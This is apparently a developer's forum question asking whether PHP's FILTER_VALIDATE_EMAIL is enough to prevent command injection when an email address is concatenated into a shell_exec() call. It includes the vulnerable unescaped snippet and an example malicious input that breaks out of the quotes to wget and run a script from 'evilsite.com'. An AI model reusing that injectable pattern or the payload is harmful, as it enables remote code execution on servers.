So I'm planning on using shell_exec()
to handle running a php script that sends an email.
It's all working great, but I was just slightly concerned about the security implications of only using FILTER_VALIDATE_EMAIL
to ensure injection can't occur.
So, for example, I will be using something simlilar to this:
$email=$_POST['email'];
if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
echo 'Nope ...';
} else {
shell_exec("/usr/bin/php /var/www/mysite/includes/sendemail '" . $email . "'" > /dev/null 2>/dev/null &);
}
So, obviously without the validation, I could submit my email as something like:
'; wget -O ./evil.sh http://evilsite.com/evilscript; ./evil.sh; '
and all hell could break loose ...
Is this 100% injection proof (That we know of) or is there something else I should add?